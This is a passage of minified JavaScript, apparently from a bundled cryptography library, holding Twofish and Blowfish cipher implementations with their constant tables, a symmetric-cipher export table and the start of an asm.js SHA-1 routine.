r=a(t[0]),n=s(t[1]);t[2]=Ie(t[2],1)^r+n+i[4*e+10]&Re,t[3]=Ie(t[3]^r+2*n+i[4*e+11]&Re,31),r=a(t[2]),n=s(t[3]),t[0]=Ie(t[0],1)^r+n+i[4*e+8]&Re,t[1]=Ie(t[1]^r+2*n+i[4*e+9]&Re,31)}return{name:"twofish",blocksize:16,open:function(t){let r,a,s,o,c;e=t;const u=[],h=[],d=[];let f;const l=[];let p,y,b;const m=[[8,1,7,13,6,15,3,2,0,11,5,9,14,12,10,4],[2,8,11,13,15,7,6,14,3,1,9,4,0,10,12,5]],g=[[14,12,11,8,1,2,3,5,15,4,10,6,7,0,9,13],[1,14,2,11,4,12,3,7,6,13,10,5,15,9,0,8]],w=[[11,10,5,14,6,13,9,0,12,8,15,3,2,4,7,1],[4,12,7,5,1,6,9,10,0,14,13,8,2,11,3,15]],v=[[13,7,15,4,1,2,6,14,9,11,3,0,8,5,12,10],[11,9,5,1,12,3,13,14,6,4,7,15,2,0,8,10]],_=[0,8,1,9,2,10,3,11,4,12,5,13,6,14,7,15],k=[0,9,2,11,4,13,6,15,8,1,10,3,12,5,14,7],A=[[],[]],S=[[],[],[],[]];function E(e){return e^e>>2^[0,90,180,238][3&e]}function P(e){return e^e>>1^e>>2^[0,238,180,90][3&e]}function x(e,t){let r,i,n;for(r=0;r<8;r++)i=t>>>24,t=t<<8&Re|e>>>24,e=e<<8&Re,n=i<<1,128&i&&(n^=333),t^=i^n<<16,n^=i>>>1,1&i&&(n^=166),t^=n<<24|n<<8;return t}function M(e,t){const r=t>>4,i=15&t,n=m[e][r^i],a=g[e][_[i]^k[r]];return v[e][_[a]^k[n]]<<4|w[e][n^a]}function C(e,t){let r=Te(e,0),i=Te(e,1),n=Te(e,2),a=Te(e,3);switch(f){case 4:r=A[1][r]^Te(t[3],0),i=A[0][i]^Te(t[3],1),n=A[0][n]^Te(t[3],2),a=A[1][a]^Te(t[3],3);case 3:r=A[1][r]^Te(t[2],0),i=A[1][i]^Te(t[2],1),n=A[0][n]^Te(t[2],2),a=A[0][a]^Te(t[2],3);case 2:r=A[0][A[0][r]^Te(t[1],0)]^Te(t[0],0),i=A[0][A[1][i]^Te(t[1],1)]^Te(t[0],1),n=A[1][A[0][n]^Te(t[1],2)]^Te(t[0],2),a=A[1][A[1][a]^Te(t[1],3)]^Te(t[0],3)}return S[0][r]^S[1][i]^S[2][n]^S[3][a]}for(e=e.slice(0,32),r=e.length;16!==r&&24!==r&&32!==r;)e[r++]=0;for(r=0;r<e.length;r+=4)d[r>>2]=Ue(e,r);for(r=0;r<256;r++)A[0][r]=M(0,r),A[1][r]=M(1,r);for(r=0;r<256;r++)p=A[1][r],y=E(p),b=P(p),S[0][r]=p+(y<<8)+(b<<16)+(b<<24),S[2][r]=y+(b<<8)+(p<<16)+(b<<24),p=A[0][r],y=E(p),b=P(p),S[1][r]=b+(b<<8)+(y<<16)+(p<<24),S[3][r]=y+(p<<8)+(b<<16)+(y<<24);for(f=d.length/2,r=0;r<f;r++)a=d[r+r],u[r]=a,s=d[r+r+1],h[r]=s,l[f-r-1]=x(a,s);for(r=0;r<40;r+=2)a=16843009*r,s=a+16843009,a=C(a,u),s=Ie(C(s,h),8),i[r]=a+s&Re,i[r+1]=Ie(a+2*s,9);for(r=0;r<256;r++)switch(a=s=o=c=r,f){case 4:a=A[1][a]^Te(l[3],0),s=A[0][s]^Te(l[3],1),o=A[0][o]^Te(l[3],2),c=A[1][c]^Te(l[3],3);case 3:a=A[1][a]^Te(l[2],0),s=A[1][s]^Te(l[2],1),o=A[0][o]^Te(l[2],2),c=A[0][c]^Te(l[2],3);case 2:n[0][r]=S[0][A[0][A[0][a]^Te(l[1],0)]^Te(l[0],0)],n[1][r]=S[1][A[0][A[1][s]^Te(l[1],1)]^Te(l[0],1)],n[2][r]=S[2][A[1][A[0][o]^Te(l[1],2)]^Te(l[0],2)],n[3][r]=S[3][A[1][A[1][c]^Te(l[1],3)]^Te(l[0],3)]}},close:function(){i=[],n=[[],[],[],[]]},encrypt:function(e,n){t=e,r=n;const a=[Ue(t,r)^i[0],Ue(t,r+4)^i[1],Ue(t,r+8)^i[2],Ue(t,r+12)^i[3]];for(let e=0;e<8;e++)o(e,a);return Be(t,r,a[2]^i[4]),Be(t,r+4,a[3]^i[5]),Be(t,r+8,a[0]^i[6]),Be(t,r+12,a[1]^i[7]),r+=16,t},decrypt:function(e,n){t=e,r=n;const a=[Ue(t,r)^i[4],Ue(t,r+4)^i[5],Ue(t,r+8)^i[6],Ue(t,r+12)^i[7]];for(let e=7;e>=0;e--)c(e,a);Be(t,r,a[2]^i[0]),Be(t,r+4,a[3]^i[1]),Be(t,r+8,a[0]^i[2]),Be(t,r+12,a[1]^i[3]),r+=16},finalize:function(){return t}}}(),this.tf.open(Array.from(e),0),this.encrypt=function(e){return this.tf.encrypt(Array.from(e),0)}}function qe(){}function Oe(e){this.bf=new qe,this.bf.init(e),this.encrypt=function(e){return this.bf.encryptBlock(e)}}ze.keySize=ze.prototype.keySize=32,ze.blockSize=ze.prototype.blockSize=16,qe.prototype.BLOCKSIZE=8,qe.prototype.SBOXES=[[3509652390,2564797868,805139163,3491422135,3101798381,1780907670,3128725573,4046225305,614570311,3012652279,134345442,2240740374,1667834072,1901547113,2757295779,4103290238,227898511,1921955416,1904987480,2182433518,2069144605,3260701109,2620446009,720527379,3318853667,677414384,3393288472,3101374703,2390351024,1614419982,1822297739,2954791486,3608508353,3174124327,2024746970,1432378464,3864339955,2857741204,1464375394,1676153920,1439316330,715854006,3033291828,289532110,2706671279,2087905683,3018724369,1668267050,732546397,1947742710,3462151702,2609353502,2950085171,1814351708,2050118529,680887927,999245976,1800124847,3300911131,1713906067,1641548236,4213287313,1216130144,1575780402,4018429277,3917837745,3693486850,3949271944,596196993,3549867205,258830323,2213823033,772490370,2760122372,1774776394,2652871518,566650946,4142492826,1728879713,2882767088,1783734482,3629395816,2517608232,2874225571,1861159788,326777828,3124490320,2130389656,2716951837,967770486,1724537150,2185432712,2364442137,1164943284,2105845187,998989502,3765401048,2244026483,1075463327,1455516326,1322494562,910128902,469688178,1117454909,936433444,3490320968,3675253459,1240580251,122909385,2157517691,634681816,4142456567,3825094682,3061402683,2540495037,79693498,3249098678,1084186820,1583128258,426386531,1761308591,1047286709,322548459,995290223,1845252383,2603652396,3431023940,2942221577,3202600964,3727903485,1712269319,422464435,3234572375,1170764815,3523960633,3117677531,1434042557,442511882,3600875718,1076654713,1738483198,4213154764,2393238008,3677496056,1014306527,4251020053,793779912,2902807211,842905082,4246964064,1395751752,1040244610,2656851899,3396308128,445077038,3742853595,3577915638,679411651,2892444358,2354009459,1767581616,3150600392,3791627101,3102740896,284835224,4246832056,1258075500,768725851,2589189241,3069724005,3532540348,1274779536,3789419226,2764799539,1660621633,3471099624,4011903706,913787905,3497959166,737222580,2514213453,2928710040,3937242737,1804850592,3499020752,2949064160,2386320175,2390070455,2415321851,4061277028,2290661394,2416832540,1336762016,1754252060,3520065937,3014181293,791618072,3188594551,3933548030,2332172193,3852520463,3043980520,413987798,3465142937,3030929376,4245938359,2093235073,3534596313,375366246,2157278981,2479649556,555357303,3870105701,2008414854,3344188149,4221384143,3956125452,2067696032,3594591187,2921233993,2428461,544322398,577241275,1471733935,610547355,4027169054,1432588573,1507829418,2025931657,3646575487,545086370,48609733,2200306550,1653985193,298326376,1316178497,3007786442,2064951626,458293330,2589141269,3591329599,3164325604,727753846,2179363840,146436021,1461446943,4069977195,705550613,3059967265,3887724982,4281599278,3313849956,1404054877,2845806497,146425753,1854211946],[1266315497,3048417604,3681880366,3289982499,290971e4,1235738493,2632868024,2414719590,3970600049,1771706367,1449415276,3266420449,422970021,1963543593,2690192192,3826793022,1062508698,1531092325,1804592342,2583117782,2714934279,4024971509,1294809318,4028980673,1289560198,2221992742,1669523910,35572830,157838143,1052438473,1016535060,1802137761,1753167236,1386275462,3080475397,2857371447,1040679964,2145300060,2390574316,1461121720,2956646967,4031777805,4028374788,33600511,2920084762,1018524850,629373528,3691585981,3515945977,2091462646,2486323059,586499841,988145025,935516892,3367335476,2599673255,2839830854,265290510,3972581182,2759138881,3795373465,1005194799,847297441,406762289,1314163512,1332590856,1866599683,4127851711,750260880,613907577,1450815602,3165620655,3734664991,3650291728,3012275730,3704569646,1427272223,778793252,1343938022,2676280711,2052605720,1946737175,3164576444,3914038668,3967478842,3682934266,1661551462,3294938066,4011595847,840292616,3712170807,616741398,312560963,711312465,1351876610,322626781,1910503582,271666773,2175563734,1594956187,70604529,3617834859,1007753275,1495573769,4069517037,2549218298,2663038764,504708206,2263041392,3941167025,2249088522,1514023603,1998579484,1312622330,694541497,2582060303,2151582166,1382467621,776784248,2618340202,3323268794,2497899128,2784771155,503983604,4076293799,907881277,423175695,432175456,1378068232,4145222326,3954048622,3938656102,3820766613,2793130115,2977904593,26017576,3274890735,3194772133,1700274565,1756076034,4006520079,3677328699,720338349,1533947780,354530856,688349552,3973924725,1637815568,332179504,3949051286,53804574,2852348879,3044236432,1282449977,3583942155,3416972820,4006381244,1617046695,2628476075,3002303598,1686838959,431878346,2686675385,1700445008,1080580658,1009431731,832498133,3223435511,2605976345,2271191193,2516031870,1648197032,4164389018,2548247927,300782431,375919233,238389289,3353747414,2531188641,2019080857,1475708069,455242339,2609103871,448939670,3451063019,1395535956,2413381860,1841049896,1491858159,885456874,4264095073,4001119347,1565136089,3898914787,1108368660,540939232,1173283510,2745871338,3681308437,4207628240,3343053890,4016749493,1699691293,1103962373,3625875870,2256883143,3830138730,1031889488,3479347698,1535977030,4236805024,3251091107,2132092099,1774941330,1199868427,1452454533,157007616,2904115357,342012276,595725824,1480756522,206960106,497939518,591360097,863170706,2375253569,3596610801,1814182875,2094937945,3421402208,1082520231,3463918190,2785509508,435703966,3908032597,1641649973,2842273706,3305899714,1510255612,2148256476,2655287854,3276092548,4258621189,236887753,3681803219,274041037,1734335097,3815195456,3317970021,1899903192,1026095262,4050517792,356393447,2410691914,3873677099,3682840055],[3913112168,2491498743,4132185628,2489919796,1091903735,1979897079,3170134830,3567386728,3557303409,857797738,1136121015,1342202287,507115054,2535736646,337727348,3213592640,1301675037,2528481711,1895095763,1721773893,3216771564,62756741,2142006736,835421444,2531993523,1442658625,3659876326,2882144922,676362277,1392781812,170690266,3921047035,1759253602,3611846912,1745797284,664899054,1329594018,3901205900,3045908486,2062866102,2865634940,3543621612,3464012697,1080764994,553557557,3656615353,3996768171,991055499,499776247,1265440854,648242737,3940784050,980351604,3713745714,1749149687,3396870395,4211799374,3640570775,1161844396,3125318951,1431517754,545492359,4268468663,3499529547,1437099964,2702547544,3433638243,2581715763,2787789398,1060185593,1593081372,2418618748,4260947970,69676912,2159744348,86519011,2512459080,3838209314,1220612927,3339683548,133810670,1090789135,1078426020,1569222167,845107691,3583754449,4072456591,1091646820,628848692,1613405280,3757631651,526609435,236106946,48312990,2942717905,3402727701,1797494240,859738849,992217954,4005476642,2243076622,3870952857,3732016268,765654824,3490871365,2511836413,1685915746,3888969200,1414112111,2273134842,3281911079,4080962846,172450625,2569994100,980381355,4109958455,2819808352,2716589560,2568741196,3681446669,3329971472,1835478071,660984891,3704678404,4045999559,3422617507,3040415634,1762651403,1719377915,3470491036,2693910283,3642056355,3138596744,1364962596,2073328063,1983633131,926494387,3423689081,2150032023,4096667949,1749200295,3328846651,309677260,2016342300,1779581495,3079819751,111262694,1274766160,443224088,298511866,1025883608,3806446537,1145181785,168956806,3641502830,3584813610,1689216846,3666258015,3200248200,1692713982,2646376535,4042768518,1618508792,1610833997,3523052358,4130873264,2001055236,3610705100,2202168115,4028541809,2961195399,1006657119,2006996926,3186142756,1430667929,3210227297,1314452623,4074634658,4101304120,2273951170,1399257539,3367210612,3027628629,1190975929,2062231137,2333990788,2221543033,2438960610,1181637006,548689776,2362791313,3372408396,3104550113,3145860560,296247880,1970579870,3078560182,3769228297,1714227617,3291629107,3898220290,166772364,1251581989,493813264,448347421,195405023,2709975567,677966185,3703036547,1463355134,2715995803,1338867538,1343315457,2802222074,2684532164,233230375,2599980071,2000651841,3277868038,1638401717,4028070440,3237316320,6314154,819756386,300326615,590932579,1405279636,3267499572,3150704214,2428286686,3959192993,3461946742,1862657033,1266418056,963775037,2089974820,2263052895,1917689273,448879540,3550394620,3981727096,150775221,3627908307,1303187396,508620638,2975983352,2726630617,1817252668,1876281319,1457606340,908771278,3720792119,3617206836,2455994898,1729034894,1080033504],[976866871,3556439503,2881648439,1522871579,1555064734,1336096578,3548522304,2579274686,3574697629,3205460757,3593280638,3338716283,3079412587,564236357,2993598910,1781952180,1464380207,3163844217,3332601554,1699332808,1393555694,1183702653,3581086237,1288719814,691649499,2847557200,2895455976,3193889540,2717570544,1781354906,1676643554,2592534050,3230253752,1126444790,2770207658,2633158820,2210423226,2615765581,2414155088,3127139286,673620729,2805611233,1269405062,4015350505,3341807571,4149409754,1057255273,2012875353,2162469141,2276492801,2601117357,993977747,3918593370,2654263191,753973209,36408145,2530585658,25011837,3520020182,2088578344,530523599,2918365339,1524020338,1518925132,3760827505,3759777254,1202760957,3985898139,3906192525,674977740,4174734889,2031300136,2019492241,3983892565,4153806404,3822280332,352677332,2297720250,60907813,90501309,3286998549,1016092578,2535922412,2839152426,457141659,509813237,4120667899,652014361,1966332200,2975202805,55981186,2327461051,676427537,3255491064,2882294119,3433927263,1307055953,942726286,933058658,2468411793,3933900994,4215176142,1361170020,2001714738,2830558078,3274259782,1222529897,1679025792,2729314320,3714953764,1770335741,151462246,3013232138,1682292957,1483529935,471910574,1539241949,458788160,3436315007,1807016891,3718408830,978976581,1043663428,3165965781,1927990952,4200891579,2372276910,3208408903,3533431907,1412390302,2931980059,4132332400,1947078029,3881505623,4168226417,2941484381,1077988104,1320477388,886195818,18198404,3786409e3,2509781533,112762804,3463356488,1866414978,891333506,18488651,661792760,1628790961,3885187036,3141171499,876946877,2693282273,1372485963,791857591,2686433993,3759982718,3167212022,3472953795,2716379847,445679433,3561995674,3504004811,3574258232,54117162,3331405415,2381918588,3769707343,4154350007,1140177722,4074052095,668550556,3214352940,367459370,261225585,2610173221,4209349473,3468074219,3265815641,314222801,3066103646,3808782860,282218597,3406013506,3773591054,379116347,1285071038,846784868,2669647154,3771962079,3550491691,2305946142,453669953,1268987020,3317592352,3279303384,3744833421,2610507566,3859509063,266596637,3847019092,517658769,3462560207,3443424879,370717030,4247526661,2224018117,4143653529,4112773975,2788324899,2477274417,1456262402,2901442914,1517677493,1846949527,2295493580,3734397586,2176403920,1280348187,1908823572,3871786941,846861322,1172426758,3287448474,3383383037,1655181056,3139813346,901632758,1897031941,2986607138,3066810236,3447102507,1393639104,373351379,950779232,625454576,3124240540,4148612726,2007998917,544563296,2244738638,2330496472,2058025392,1291430526,424198748,50039436,29584100,3605783033,2429876329,2791104160,1057563949,3255363231,3075367218,3463963227,1469046755,985887462]],qe.prototype.PARRAY=[608135816,2242054355,320440878,57701188,2752067618,698298832,137296536,3964562569,1160258022,953160567,3193202383,887688300,3232508343,3380367581,1065670069,3041331479,2450970073,2306472731],qe.prototype.NN=16,qe.prototype._clean=function(e){if(e<0){e=(2147483647&e)+2147483648}return e},qe.prototype._F=function(e){let t;const r=255&e,i=255&(e>>>=8),n=255&(e>>>=8),a=255&(e>>>=8);return t=this.sboxes[0][a]+this.sboxes[1][n],t^=this.sboxes[2][i],t+=this.sboxes[3][r],t},qe.prototype._encryptBlock=function(e){let t,r=e[0],i=e[1];for(t=0;t<this.NN;++t){r^=this.parray[t],i=this._F(r)^i;const e=r;r=i,i=e}r^=this.parray[this.NN+0],i^=this.parray[this.NN+1],e[0]=this._clean(i),e[1]=this._clean(r)},qe.prototype.encryptBlock=function(e){let t;const r=[0,0],i=this.BLOCKSIZE/2;for(t=0;t<this.BLOCKSIZE/2;++t)r[0]=r[0]<<8|255&e[t+0],r[1]=r[1]<<8|255&e[t+i];this._encryptBlock(r);const n=[];for(t=0;t<this.BLOCKSIZE/2;++t)n[t+0]=r[0]>>>24-8*t&255,n[t+i]=r[1]>>>24-8*t&255;return n},qe.prototype._decryptBlock=function(e){let t,r=e[0],i=e[1];for(t=this.NN+1;t>1;--t){r^=this.parray[t],i=this._F(r)^i;const e=r;r=i,i=e}r^=this.parray[1],i^=this.parray[0],e[0]=this._clean(i),e[1]=this._clean(r)},qe.prototype.init=function(e){let t,r=0;for(this.parray=[],t=0;t<this.NN+2;++t){let i=0;for(let t=0;t<4;++t)i=i<<8|255&e[r],++r>=e.length&&(r=0);this.parray[t]=this.PARRAY[t]^i}for(this.sboxes=[],t=0;t<4;++t)for(this.sboxes[t]=[],r=0;r<256;++r)this.sboxes[t][r]=this.SBOXES[t][r];const i=[0,0];for(t=0;t<this.NN+2;t+=2)this._encryptBlock(i),this.parray[t+0]=i[0],this.parray[t+1]=i[1];for(t=0;t<4;++t)for(r=0;r<256;r+=2)this._encryptBlock(i),this.sboxes[t][r+0]=i[0],this.sboxes[t][r+1]=i[1]},Oe.keySize=Oe.prototype.keySize=16,Oe.blockSize=Oe.prototype.blockSize=8;const Fe=Pe(128),Ne=Pe(192),Le=Pe(256);var je=/*#__PURE__*/Object.freeze({__proto__:null,aes128:Fe,aes192:Ne,aes256:Le,des:function(e){this.key=e,this.encrypt=function(e,t){return xe(Me(this.key),e,!0,0,null,t)},this.decrypt=function(e,t){return xe(Me(this.key),e,!1,0,null,t)}},tripledes:Ce,cast5:De,twofish:ze,blowfish:Oe,idea:function(){throw Error("IDEA symmetric-key algorithm not implemented")}}),We=function(e,t,r){"use asm";var i=0,n=0,a=0,s=0,o=0,c=0,u=0;var h=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0;var v=new e.Uint8Array(r);function _(e,t,r,c,u,h,d,f,l,p,y,b,m,g,w,v){e=e|0;t=t|0;r=r|0;c=c|0;u=u|0;h=h|0;d=d|0;f=f|0;l=l|0;p=p|0;y=y|0;b=b|0;m=m|0;g=g|0;w=w|0;v=v|0;var _=0,k=0,A=0,S=0,E=0,P=0,x=0,M=0,C=0,K=0,D=0,R=0,I=0,U=0,B=0,T=0,z=0,q=0,O=0,F=0,N=0,L=0,j=0,W=0,H=0,G=0,V=0,$=0,Z=0,Y=0,X=0,Q=0,J=0,ee=0,te=0,re=0,ie=0,ne=0,ae=0,se=0,oe=0,ce=0,ue=0,he=0,de=0,fe=0,le=0,pe=0,ye=0,be=0,me=0,ge=0,we=0,ve=0,_e=0,ke=0,Ae=0,Se=0,Ee=0,Pe=0,xe=0,Me=0,Ce=0,Ke=0,De=0,Re=0,Ie=0,Ue=0,Be=0,Te=0,ze=0;_=i;k=n;A=a;S=s;E=o;x=e+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=t+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=r+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=c+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=u+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=h+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=d+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=f+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=l+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=p+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=y+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=b+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=m+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=g+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=w+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;x=v+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=g^l^r^e;M=P<<1|P>>>31;x=M+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=w^p^c^t;C=P<<1|P>>>31;x=C+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=v^y^u^r;K=P<<1|P>>>31;x=K+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=M^b^h^c;D=P<<1|P>>>31;x=D+(_<<5|_>>>27)+E+(k&A|~k&S)+0x5a827999|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=C^m^d^u;R=P<<1|P>>>31;x=R+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=K^g^f^h;I=P<<1|P>>>31;x=I+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=D^w^l^d;U=P<<1|P>>>31;x=U+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=R^v^p^f;B=P<<1|P>>>31;x=B+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=I^M^y^l;T=P<<1|P>>>31;x=T+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=U^C^b^p;z=P<<1|P>>>31;x=z+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=B^K^m^y;q=P<<1|P>>>31;x=q+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=T^D^g^b;O=P<<1|P>>>31;x=O+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=z^R^w^m;F=P<<1|P>>>31;x=F+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=q^I^v^g;N=P<<1|P>>>31;x=N+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=O^U^M^w;L=P<<1|P>>>31;x=L+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=F^B^C^v;j=P<<1|P>>>31;x=j+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=N^T^K^M;W=P<<1|P>>>31;x=W+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=L^z^D^C;H=P<<1|P>>>31;x=H+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=j^q^R^K;G=P<<1|P>>>31;x=G+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=W^O^I^D;V=P<<1|P>>>31;x=V+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=H^F^U^R;$=P<<1|P>>>31;x=$+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=G^N^B^I;Z=P<<1|P>>>31;x=Z+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=V^L^T^U;Y=P<<1|P>>>31;x=Y+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=$^j^z^B;X=P<<1|P>>>31;x=X+(_<<5|_>>>27)+E+(k^A^S)+0x6ed9eba1|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Z^W^q^T;Q=P<<1|P>>>31;x=Q+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Y^H^O^z;J=P<<1|P>>>31;x=J+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=X^G^F^q;ee=P<<1|P>>>31;x=ee+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Q^V^N^O;te=P<<1|P>>>31;x=te+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=J^$^L^F;re=P<<1|P>>>31;x=re+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ee^Z^j^N;ie=P<<1|P>>>31;x=ie+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=te^Y^W^L;ne=P<<1|P>>>31;x=ne+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=re^X^H^j;ae=P<<1|P>>>31;x=ae+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ie^Q^G^W;se=P<<1|P>>>31;x=se+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ne^J^V^H;oe=P<<1|P>>>31;x=oe+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ae^ee^$^G;ce=P<<1|P>>>31;x=ce+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=se^te^Z^V;ue=P<<1|P>>>31;x=ue+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=oe^re^Y^$;he=P<<1|P>>>31;x=he+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ce^ie^X^Z;de=P<<1|P>>>31;x=de+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ue^ne^Q^Y;fe=P<<1|P>>>31;x=fe+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=he^ae^J^X;le=P<<1|P>>>31;x=le+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=de^se^ee^Q;pe=P<<1|P>>>31;x=pe+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=fe^oe^te^J;ye=P<<1|P>>>31;x=ye+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=le^ce^re^ee;be=P<<1|P>>>31;x=be+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=pe^ue^ie^te;me=P<<1|P>>>31;x=me+(_<<5|_>>>27)+E+(k&A|k&S|A&S)-0x70e44324|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ye^he^ne^re;ge=P<<1|P>>>31;x=ge+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=be^de^ae^ie;we=P<<1|P>>>31;x=we+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=me^fe^se^ne;ve=P<<1|P>>>31;x=ve+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ge^le^oe^ae;_e=P<<1|P>>>31;x=_e+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<3